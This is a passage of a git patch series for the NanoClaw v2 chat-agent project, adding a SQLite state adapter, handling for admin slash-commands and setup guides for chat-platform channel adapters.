compact feedback MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Replace in-memory Chat SDK state with SqliteStateAdapter — thread subscriptions now persist across restarts - Add migration 002 for chat_sdk_kv, subscriptions, locks, lists tables - Handle /clear in agent-runner (reset sessionId) — SDK has supportsNonInteractive:false for this command - Pass /compact, /context, /cost, /files through to SDK as admin commands - Skip admin commands in follow-up poll so they start fresh queries - Emit compact_boundary events as user-visible feedback messages - Pass NANOCLAW_ADMIN_USER_ID and NANOCLAW_ASSISTANT_NAME to containers Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/formatter.ts | 2 +- container/agent-runner/src/poll-loop.ts | 44 +++-- .../agent-runner/src/providers/claude.ts | 4 + src/channels/chat-sdk-bridge.ts | 55 +++--- src/container-runner-v2.ts | 12 ++ src/db/db-v2.test.ts | 2 +- src/db/migrations/002-chat-sdk-state.ts | 36 ++++ src/db/migrations/index.ts | 3 +- src/host-sweep.ts | 12 +- src/state-sqlite.ts | 160 ++++++++++++++++++ 10 files changed, 283 insertions(+), 47 deletions(-) create mode 100644 src/db/migrations/002-chat-sdk-state.ts create mode 100644 src/state-sqlite.ts diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 7324f1b..8b0b1e8 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -9,7 +9,7 @@ import type { MessageInRow } from './db/messages-in.js'; */ export type CommandCategory = 'admin' | 'filtered' | 'passthrough' | 'none'; -const ADMIN_COMMANDS = new Set(['/remote-control', '/clear', '/compact']); +const ADMIN_COMMANDS = new Set(['/remote-control', '/clear', '/compact', '/context', '/cost', '/files']); const FILTERED_COMMANDS = new Set(['/help', '/login', '/logout', '/doctor', '/config']); export interface CommandInfo { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 474be8b..21fc8e1 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -81,7 +81,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise { if (cmdInfo.category === 'admin') { if (!adminUserId || cmdInfo.senderId !== adminUserId) { - // Not admin — send error, mark completed log(`Admin command denied: ${cmdInfo.command} from ${cmdInfo.senderId} (msg: ${msg.id})`); writeMessageOut({ id: generateId(), @@ -94,7 +93,24 @@ export async function runPollLoop(config: PollLoopConfig): Promise { commandIds.push(msg.id); continue; } - // Admin user — format as system command + // Handle admin commands directly + if (cmdInfo.command === '/clear') { + log('Clearing session (resetting sessionId)'); + sessionId = undefined; + resumeAt = undefined; + writeMessageOut({ + id: generateId(), + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: 'Session cleared.' }), + }); + commandIds.push(msg.id); + continue; + } + + // Other admin commands — pass through to agent normalMessages.push(msg); continue; } @@ -174,25 +190,16 @@ function formatMessagesWithCommands(messages: MessageInRow[]): string { for (const msg of messages) { if (msg.kind === 'chat' || msg.kind === 'chat-sdk') { const cmdInfo = categorizeMessage(msg); - if (cmdInfo.category === 'passthrough') { + if (cmdInfo.category === 'passthrough' || cmdInfo.category === 'admin') { // Flush normal batch first if (normalBatch.length > 0) { parts.push(formatMessages(normalBatch)); normalBatch.length = 0; } - // Pass raw command text (no XML wrapping) + // Pass raw command text (no XML wrapping) — SDK handles it natively parts.push(cmdInfo.text); continue; } - if (cmdInfo.category === 'admin') { - // Format admin command as a system command block - if (normalBatch.length > 0) { - parts.push(formatMessages(normalBatch)); - normalBatch.length = 0; - } - parts.push(`[SYSTEM COMMAND: ${cmdInfo.command}]\n${cmdInfo.text}`); - continue; - } } normalBatch.push(msg); } @@ -218,8 +225,15 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: const pollHandle = setInterval(() => { if (done) return; - // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) - const newMessages = getPendingMessages().filter((m) => m.kind !== 'system'); + // Skip system messages (MCP tool responses) and admin commands (need fresh query) + const newMessages = getPendingMessages().filter((m) => { + if (m.kind === 'system') return false; + if (m.kind === 'chat' || m.kind === 'chat-sdk') { + const cmd = categorizeMessage(m); + if (cmd.category === 'admin') return false; + } + return true; + }); if (newMessages.length > 0) { const newIds = newMessages.map((m) => m.id); markProcessing(newIds); diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts index e17c5c5..adfd0e2 100644 --- a/container/agent-runner/src/providers/claude.ts +++ b/container/agent-runner/src/providers/claude.ts @@ -212,6 +212,10 @@ export class ClaudeProvider implements AgentProvider { yield { type: 'error', message: 'API retry', retryable: true }; } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'rate_limit_event') { yield { type: 'error', message: 'Rate limit', retryable: false, classification: 'quota' }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'compact_boundary') { + const meta = (message as { compact_metadata?: { pre_tokens?: number } }).compact_metadata; + const detail = meta?.pre_tokens ? ` (${meta.pre_tokens.toLocaleString()} tokens compacted)` : ''; + yield { type: 'result', text: `Context compacted${detail}.` }; } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'task_notification') { const tn = message as { summary?: string }; yield { type: 'progress', message: tn.summary || 'Task notification' }; diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index e3f486b..5ab9d88 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -6,10 +6,18 @@ */ import http from 'http'; -import { Chat, Card, CardText, Actions, Button, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; -import { createMemoryState } from '@chat-adapter/state-memory'; - +import { + Chat, + Card, + CardText, + Actions, + Button, + type Adapter, + type ConcurrencyStrategy, + type Message as ChatMessage, +} from 'chat'; import { log } from '../log.js'; +import { SqliteStateAdapter } from '../state-sqlite.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; /** Adapter with optional gateway support (e.g., Discord). */ @@ -32,7 +40,7 @@ export interface ChatSdkBridgeConfig { export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { const { adapter } = config; let chat: Chat; - let state: ReturnType; + let state: SqliteStateAdapter; let setupConfig: ChannelSetup; let conversations: Map; let gatewayAbort: AbortController | null = null; @@ -62,7 +70,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter setupConfig = hostConfig; conversations = buildConversationMap(hostConfig.conversations); - state = createMemoryState(); + state = new SqliteStateAdapter(); chat = new Chat({ adapters: { [adapter.name]: adapter }, @@ -105,14 +113,6 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await chat.initialize(); - // Subscribe registered conversations (after initialize connects state) - for (const conv of hostConfig.conversations) { - if (conv.agentGroupId) { - const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); - await state.subscribe(threadId); - } - } - // Start Gateway listener for adapters that support it (e.g., Discord) if (adapter.startGatewayListener) { gatewayAbort = new AbortController(); @@ -184,11 +184,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter title: '❓ Question', children: [ CardText(content.question as string), - Actions( - options.map((opt) => - Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }), - ), - ), + Actions(options.map((opt) => Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }))), ], }); await adapter.postMessage(tid, { card, fallbackText: `${content.question}\nOptions: ${options.join(', ')}` }); @@ -229,13 +225,6 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter updateConversations(configs: ConversationConfig[]) { conversations = buildConversationMap(configs); - // Subscribe new conversations - for (const conv of configs) { - if (conv.agentGroupId) { - const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); - state.subscribe(threadId).catch(() => {}); - } - } }, }; } @@ -246,7 +235,11 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter * sends ALL raw events (including INTERACTION_CREATE for button clicks) * to the webhookUrl, which we handle here. */ -function startLocalWebhookServer(adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { +function startLocalWebhookServer( + adapter: GatewayAdapter, + setupConfig: ChannelSetup, + botToken?: string, +): Promise { return new Promise((resolve) => { const server = http.createServer((req, res) => { const chunks: Buffer[] = []; @@ -275,7 +268,12 @@ function startLocalWebhookServer(adapter: GatewayAdapter, setupConfig: ChannelSe }); } -async function handleForwardedEvent(body: string, adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { +async function handleForwardedEvent( + body: string, + adapter: GatewayAdapter, + setupConfig: ChannelSetup, + botToken?: string, +): Promise { let event: { type: string; data: Record }; try { event = JSON.parse(body); @@ -305,7 +303,8 @@ async function handleForwardedEvent(body: string, adapter: GatewayAdapter, setup } // Update the card to show the selected answer and remove buttons - const originalEmbeds = ((interaction.message as Record)?.embeds as Array>) || []; + const originalEmbeds = + ((interaction.message as Record)?.embeds as Array>) || []; const originalDescription = (originalEmbeds[0]?.description as string) || ''; try { await fetch(`https://discord.com/api/v10/interactions/${interactionId}/${interactionToken}/callback`, { diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index c1b0aac..81bbd50 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -12,6 +12,7 @@ import { OneCLI } from '@onecli-sh/sdk'; import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { getAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; import { @@ -227,6 +228,17 @@ async function buildContainerArgs( args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); + // Pass admin user ID and assistant name from messaging group/agent group + if (session.messaging_group_id) { + const mg = getMessagingGroup(session.messaging_group_id); + if (mg?.admin_user_id) { + args.push('-e', `NANOCLAW_ADMIN_USER_ID=${mg.admin_user_id}`); + } + } + if (agentGroup.name) { + args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); + } + // OneCLI gateway const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); if (onecliApplied) { diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index daa9576..bea9334 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(1); + expect(row.v).toBe(2); }); }); diff --git a/src/db/migrations/002-chat-sdk-state.ts b/src/db/migrations/002-chat-sdk-state.ts new file mode 100644 index 0000000..0861af4 --- /dev/null +++ b/src/db/migrations/002-chat-sdk-state.ts @@ -0,0 +1,36 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +export const migration002: Migration = { + version: 2, + name: 'chat-sdk-state', + up(db: Database.Database) { + db.exec(` + CREATE TABLE chat_sdk_kv ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + expires_at INTEGER + ); + + CREATE TABLE chat_sdk_subscriptions ( + thread_id TEXT PRIMARY KEY, + subscribed_at TEXT NOT NULL DEFAULT (datetime('now')) + ); + + CREATE TABLE chat_sdk_locks ( + thread_id TEXT PRIMARY KEY, + token TEXT NOT NULL, + expires_at INTEGER NOT NULL + ); + + CREATE TABLE chat_sdk_lists ( + key TEXT NOT NULL, + idx INTEGER NOT NULL, + value TEXT NOT NULL, + expires_at INTEGER, + PRIMARY KEY (key, idx) + ); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 54e848c..114a521 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -2,6 +2,7 @@ import type Database from 'better-sqlite3'; import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; +import { migration002 } from './002-chat-sdk-state.js'; export interface Migration { version: number; @@ -9,7 +10,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001]; +const migrations: Migration[] = [migration001, migration002]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 0c8ca41..d93d821 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -142,7 +142,17 @@ async function sweepSession(session: Session): Promise { db.prepare( `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + ).run( + newId, + nextSeq, + msg.kind, + nextRun, + msg.recurrence, + msg.platform_id, + msg.channel_type, + msg.thread_id, + msg.content, + ); // Remove recurrence from the completed message so it doesn't spawn again db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); diff --git a/src/state-sqlite.ts b/src/state-sqlite.ts new file mode 100644 index 0000000..64731a2 --- /dev/null +++ b/src/state-sqlite.ts @@ -0,0 +1,160 @@ +/** + * Chat SDK StateAdapter backed by SQLite. + * Persists subscriptions, locks, KV, and lists across restarts. + * + * Ported from feat/chat-sdk-integration branch. + */ +import crypto from 'crypto'; + +import type Database from 'better-sqlite3'; +import type { StateAdapter, QueueEntry } from 'chat'; + +import { getDb } from './db/connection.js'; + +interface Lock { + threadId: string; + token: string; + expiresAt: number; +} + +export class SqliteStateAdapter implements StateAdapter { + private db!: Database.Database; + + async connect(): Promise { + this.db = getDb(); + this.cleanup(); + } + + async disconnect(): Promise {} + + // --- Key-value --- + + async get(key: string): Promise { + this.cleanup(); + const row = this.db + .prepare('SELECT value, expires_at FROM chat_sdk_kv WHERE key = ?') + .get(key) as { value: string; expires_at: number | null } | undefined; + if (!row) return null; + if (row.expires_at && row.expires_at < Date.now()) { + this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); + return null; + } + return JSON.parse(row.value) as T; + } + + async set(key: string, value: T, ttlMs?: number): Promise { + const expiresAt = ttlMs ? Date.now() + ttlMs : null; + this.db.prepare('INSERT OR REPLACE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + } + + async setIfNotExists(key: string, value: unknown, ttlMs?: number): Promise { + const existing = this.db.prepare('SELECT expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as { expires_at: number | null } | undefined; + if (existing?.expires_at && existing.expires_at < Date.now()) { + this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); + } + const expiresAt = ttlMs ? Date.now() + ttlMs : null; + const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + return result.changes > 0; + } + + async delete(key: string): Promise { + this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); + } + + // --- Subscriptions --- + + async subscribe(threadId: string): Promise { + this.db.prepare('INSERT OR REPLACE INTO chat_sdk_subscriptions (thread_id) VALUES (?)').run(threadId); + } + + async unsubscribe(threadId: string): Promise { + this.db.prepare('DELETE FROM chat_sdk_subscriptions WHERE thread_id = ?').run(threadId); + } + + async isSubscribed(threadId: string): Promise { + const row = this.db.prepare('SELECT 1 FROM chat_sdk_subscriptions WHERE thread_id = ? LIMIT 1').get(threadId); + return !!row; + } + + // --- Locks --- + + async acquireLock(threadId: string, ttlMs: number): Promise { + const now = Date.now(); + const token = crypto.randomUUID(); + const expiresAt = now + ttlMs; + this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ? AND expires_at < ?').run(threadId, now); + const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_locks (thread_id, token, expires_at) VALUES (?, ?, ?)').run(threadId, token, expiresAt); + if (result.changes === 0) return null; + return { threadId, token, expiresAt }; + } + + async releaseLock(lock: Lock): Promise { + this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ? AND token = ?').run(lock.threadId, lock.token); + } + + async extendLock(lock: Lock, ttlMs: number): Promise { + const newExpiry = Date.now() + ttlMs; + const result = this.db.prepare('UPDATE chat_sdk_locks SET expires_at = ? WHERE thread_id = ? AND token = ?').run(newExpiry, lock.threadId, lock.token); + if (result.changes > 0) { + lock.expiresAt = newExpiry; + return true; + } + return false; + } + + async forceReleaseLock(threadId: string): Promise { + this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ?').run(threadId); + } + + // --- Lists --- + + async appendToList(key: string, value: unknown, options?: { maxLength?: number; ttlMs?: number }): Promise { + const expiresAt = options?.ttlMs ? Date.now() + options.ttlMs : null; + const maxRow = this.db.prepare('SELECT MAX(idx) as maxIdx FROM chat_sdk_lists WHERE key = ?').get(key) as { maxIdx: number | null } | undefined; + const nextIdx = (maxRow?.maxIdx ?? -1) + 1; + this.db.prepare('INSERT INTO chat_sdk_lists (key, idx, value, expires_at) VALUES (?, ?, ?, ?)').run(key, nextIdx, JSON.stringify(value), expiresAt); + if (options?.maxLength) { + const cutoff = nextIdx - options.maxLength; + if (cutoff >= 0) { + this.db.prepare('DELETE FROM chat_sdk_lists WHERE key = ? AND idx <= ?').run(key, cutoff); + } + } + } + + async getList(key: string): Promise { + const now = Date.now(); + const rows = this.db.prepare('SELECT value FROM chat_sdk_lists WHERE key = ? AND (expires_at IS NULL OR expires_at > ?) ORDER BY idx ASC').all(key, now) as { value: string }[]; + return rows.map((r) => JSON.parse(r.value) as T); + } + + // --- Queue --- + + async enqueue(threadId: string, entry: QueueEntry, maxSize: number): Promise { + const key = `queue:${threadId}`; + await this.appendToList(key, entry, { maxLength: maxSize }); + return await this.queueDepth(threadId); + } + + async dequeue(threadId: string): Promise { + const key = `queue:${threadId}`; + const row = this.db.prepare('SELECT idx, value FROM chat_sdk_lists WHERE key = ? ORDER BY idx ASC LIMIT 1').get(key) as { idx: number; value: string } | undefined; + if (!row) return null; + this.db.prepare('DELETE FROM chat_sdk_lists WHERE key = ? AND idx = ?').run(key, row.idx); + return JSON.parse(row.value) as QueueEntry; + } + + async queueDepth(threadId: string): Promise { + const key = `queue:${threadId}`; + const row = this.db.prepare('SELECT COUNT(*) as count FROM chat_sdk_lists WHERE key = ?').get(key) as { count: number }; + return row.count; + } + + // --- Cleanup --- + + private cleanup(): void { + const now = Date.now(); + this.db.prepare('DELETE FROM chat_sdk_kv WHERE expires_at IS NOT NULL AND expires_at < ?').run(now); + this.db.prepare('DELETE FROM chat_sdk_locks WHERE expires_at < ?').run(now); + this.db.prepare('DELETE FROM chat_sdk_lists WHERE expires_at IS NOT NULL AND expires_at < ?').run(now); + } +} From 12af4510690ab7f9d63b0bc4413d8264fb659705 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:26:33 +0300 Subject: [PATCH 079/485] v2: add Chat SDK channel adapters and skills for 11 platforms MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Thin wrapper adapters + SKILL.md for Slack, Telegram, GitHub, Linear, Google Chat, Teams, WhatsApp Cloud API, Resend, Matrix, Webex, iMessage. All follow the same pattern as discord-v2.ts: readEnvFile → create*Adapter → createChatSdkBridge → registerChannelAdapter. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-gchat-v2/SKILL.md | 78 ++++++++ .claude/skills/add-github-v2/SKILL.md | 80 ++++++++ .claude/skills/add-imessage-v2/SKILL.md | 86 ++++++++ .claude/skills/add-linear-v2/SKILL.md | 77 +++++++ .claude/skills/add-matrix-v2/SKILL.md | 77 +++++++ .claude/skills/add-resend-v2/SKILL.md | 79 ++++++++ .claude/skills/add-slack-v2/SKILL.md | 81 ++++++++ .claude/skills/add-teams-v2/SKILL.md | 75 +++++++ .claude/skills/add-telegram-v2/SKILL.md | 82 ++++++++ .claude/skills/add-webex-v2/SKILL.md | 75 +++++++ .claude/skills/add-whatsapp-cloud-v2/SKILL.md | 82 ++++++++ docs/v2-checklist.md | 189 ++++++++++++++++++ src/channels/gchat-v2.ts | 20 ++ src/channels/github-v2.ts | 22 ++ src/channels/imessage-v2.ts | 25 +++ src/channels/index.ts | 38 +++- src/channels/linear-v2.ts | 22 ++ src/channels/matrix-v2.ts | 23 +++ src/channels/resend-v2.ts | 23 +++ src/channels/slack-v2.ts | 21 ++ src/channels/teams-v2.ts | 21 ++ src/channels/telegram-v2.ts | 21 ++ src/channels/webex-v2.ts | 21 ++ src/channels/whatsapp-cloud-v2.ts | 24 +++ 24 files changed, 1338 insertions(+), 4 deletions(-) create mode 100644 .claude/skills/add-gchat-v2/SKILL.md create mode 100644 .claude/skills/add-github-v2/SKILL.md create mode 100644 .claude/skills/add-imessage-v2/SKILL.md create mode 100644 .claude/skills/add-linear-v2/SKILL.md create mode 100644 .claude/skills/add-matrix-v2/SKILL.md create mode 100644 .claude/skills/add-resend-v2/SKILL.md create mode 100644 .claude/skills/add-slack-v2/SKILL.md create mode 100644 .claude/skills/add-teams-v2/SKILL.md create mode 100644 .claude/skills/add-telegram-v2/SKILL.md create mode 100644 .claude/skills/add-webex-v2/SKILL.md create mode 100644 .claude/skills/add-whatsapp-cloud-v2/SKILL.md create mode 100644 docs/v2-checklist.md create mode 100644 src/channels/gchat-v2.ts create mode 100644 src/channels/github-v2.ts create mode 100644 src/channels/imessage-v2.ts create mode 100644 src/channels/linear-v2.ts create mode 100644 src/channels/matrix-v2.ts create mode 100644 src/channels/resend-v2.ts create mode 100644 src/channels/slack-v2.ts create mode 100644 src/channels/teams-v2.ts create mode 100644 src/channels/telegram-v2.ts create mode 100644 src/channels/webex-v2.ts create mode 100644 src/channels/whatsapp-cloud-v2.ts diff --git a/.claude/skills/add-gchat-v2/SKILL.md b/.claude/skills/add-gchat-v2/SKILL.md new file mode 100644 index 0000000..cf1a573 --- /dev/null +++ b/.claude/skills/add-gchat-v2/SKILL.md @@ -0,0 +1,78 @@ +--- +name: add-gchat-v2 +description: Add Google Chat channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Google Chat Channel (v2) + +This skill adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/gchat-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/gchat +``` + +### Enable the channel + +Uncomment the Google Chat import in `src/channels/index.ts`: + +```typescript +import './gchat-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Google Chat App + +> 1. Go to [Google Cloud Console](https://console.cloud.google.com) +> 2. Create or select a project +> 3. Enable the **Google Chat API** +> 4. Go to **Google Chat API** > **Configuration**: +> - App name and description +> - Connection settings: select **HTTP endpoint URL** and set to `https://your-domain/webhook/gchat` +> 5. Create a **Service Account**: +> - Go to **IAM & Admin** > **Service Accounts** > **Create Service Account** +> - Grant the Chat Bot role +> - Create a JSON key and download it + +### Configure environment + +Add the service account JSON as a single-line string to `.env`: + +```bash +GCHAT_CREDENTIALS={"type":"service_account","project_id":"...","private_key":"...","client_email":"..."} +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Google Chat space, then send a message or @mention the bot. + +## Removal + +1. Comment out `import './gchat-v2.js'` in `src/channels/index.ts` +2. Remove `GCHAT_CREDENTIALS` from `.env` +3. `npm uninstall @chat-adapter/gchat` +4. Rebuild and restart diff --git a/.claude/skills/add-github-v2/SKILL.md b/.claude/skills/add-github-v2/SKILL.md new file mode 100644 index 0000000..44e7a41 --- /dev/null +++ b/.claude/skills/add-github-v2/SKILL.md @@ -0,0 +1,80 @@ +--- +name: add-github-v2 +description: Add GitHub channel integration to NanoClaw v2 via Chat SDK. PR comment threads as conversations. +--- + +# Add GitHub Channel (v2) + +This skill adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in PR comment threads. + +## Phase 1: Pre-flight + +Check if `src/channels/github-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/github +``` + +### Enable the channel + +Uncomment the GitHub import in `src/channels/index.ts`: + +```typescript +import './github-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create GitHub credentials + +> 1. Go to [GitHub Settings > Developer Settings > Personal Access Tokens](https://github.com/settings/tokens) +> 2. Create a **Fine-grained token** with: +> - Repository access: select the repos you want the bot to monitor +> - Permissions: **Pull requests** (Read & Write), **Issues** (Read & Write) +> 3. Copy the token +> 4. Set up a webhook on your repo(s): +> - Go to **Settings** > **Webhooks** > **Add webhook** +> - Payload URL: `https://your-domain/webhook/github` +> - Content type: `application/json` +> - Secret: generate a random string +> - Events: select **Issue comments**, **Pull request review comments** + +### Configure environment + +Add to `.env`: + +```bash +GITHUB_TOKEN=github_pat_... +GITHUB_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> @mention the bot in a PR comment or issue comment. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './github-v2.js'` in `src/channels/index.ts` +2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/github` +4. Rebuild and restart diff --git a/.claude/skills/add-imessage-v2/SKILL.md b/.claude/skills/add-imessage-v2/SKILL.md new file mode 100644 index 0000000..33121ee --- /dev/null +++ b/.claude/skills/add-imessage-v2/SKILL.md @@ -0,0 +1,86 @@ +--- +name: add-imessage-v2 +description: Add iMessage channel integration to NanoClaw v2 via Chat SDK. Local (macOS) or remote (Photon API) mode. +--- + +# Add iMessage Channel (v2) + +This skill adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Supports local mode (macOS with Full Disk Access) and remote mode (via Photon API). + +## Phase 1: Pre-flight + +Check if `src/channels/imessage-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install chat-adapter-imessage +``` + +### Enable the channel + +Uncomment the iMessage import in `src/channels/index.ts`: + +```typescript +import './imessage-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Local Mode (macOS) + +> **Requirements**: macOS with Full Disk Access granted to your terminal/Node.js process. +> +> 1. Go to **System Settings** > **Privacy & Security** > **Full Disk Access** +> 2. Add your terminal app (Terminal, iTerm2, etc.) or the Node.js binary +> 3. The adapter reads directly from the iMessage database on disk + +### Remote Mode (Photon API) + +> 1. Set up a [Photon](https://photon.im) account +> 2. Get your server URL and API key + +### Configure environment + +**Local mode** — add to `.env`: + +```bash +IMESSAGE_ENABLED=true +IMESSAGE_LOCAL=true +``` + +**Remote mode** — add to `.env`: + +```bash +IMESSAGE_LOCAL=false +IMESSAGE_SERVER_URL=https://your-photon-server.com +IMESSAGE_API_KEY=your-api-key +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +``` + +## Phase 4: Verify + +> Send an iMessage to the account running NanoClaw. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './imessage-v2.js'` in `src/channels/index.ts` +2. Remove iMessage env vars from `.env` +3. `npm uninstall chat-adapter-imessage` +4. Rebuild and restart diff --git a/.claude/skills/add-linear-v2/SKILL.md b/.claude/skills/add-linear-v2/SKILL.md new file mode 100644 index 0000000..9ba6f8a --- /dev/null +++ b/.claude/skills/add-linear-v2/SKILL.md @@ -0,0 +1,77 @@ +--- +name: add-linear-v2 +description: Add Linear channel integration to NanoClaw v2 via Chat SDK. Issue comment threads as conversations. +--- + +# Add Linear Channel (v2) + +This skill adds Linear support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in issue comment threads. + +## Phase 1: Pre-flight + +Check if `src/channels/linear-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/linear +``` + +### Enable the channel + +Uncomment the Linear import in `src/channels/index.ts`: + +```typescript +import './linear-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Linear credentials + +> 1. Go to [Linear Settings > API](https://linear.app/settings/api) +> 2. Create a **Personal API Key** (or use an OAuth application for team-wide access) +> 3. Copy the API key +> 4. Set up a webhook: +> - Go to **Settings** > **API** > **Webhooks** > **New webhook** +> - URL: `https://your-domain/webhook/linear` +> - Select events: **Comment** (created, updated) +> - Copy the signing secret + +### Configure environment + +Add to `.env`: + +```bash +LINEAR_API_KEY=lin_api_... +LINEAR_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id 